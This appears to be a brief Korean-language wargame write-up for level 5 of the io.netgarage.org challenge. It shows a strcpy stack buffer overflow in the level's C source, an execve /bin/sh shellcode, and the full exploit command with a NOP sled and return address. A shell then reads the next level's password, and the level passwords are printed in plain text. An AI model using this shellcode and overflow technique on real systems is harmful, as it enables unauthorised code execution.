ssh level5@io.netgarage.org
LOoCy5PbKi63qXTh
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv) {
char buf[128];
if(argc < 2) return 1;
strcpy(buf, argv[1]);
printf("%s\n", buf);
return 0;
}
기초적인 BOF 문제다.
strcpy 에서 argv 길이 확인을 안하고 buf에 복사해버리므로 쉘코드를 넣고 ret를 쉘코드 위치로 돌리면 될 것 같다.
buffer + dummy + sfp + ret
128 + 8 + 4 + 4
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80
23 bytes
execve /bin/sh 쉘코드를 사용했다.
payload=
nop(113) + shellcode(23) + nop(4) + &buffer
&buffer = 0xbffffe28
level5@io:/levels$ ./level05 `python -c 'print "\x90"*113 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + "\x90"*4 + "\x28\xfe\xff\xbf"'`
1h//shh/bin⏓
̀(þÿ¿
sh-4.2$ cat /home/level6/.pass
rXCikld0ex3EQsnI
sh-4.2$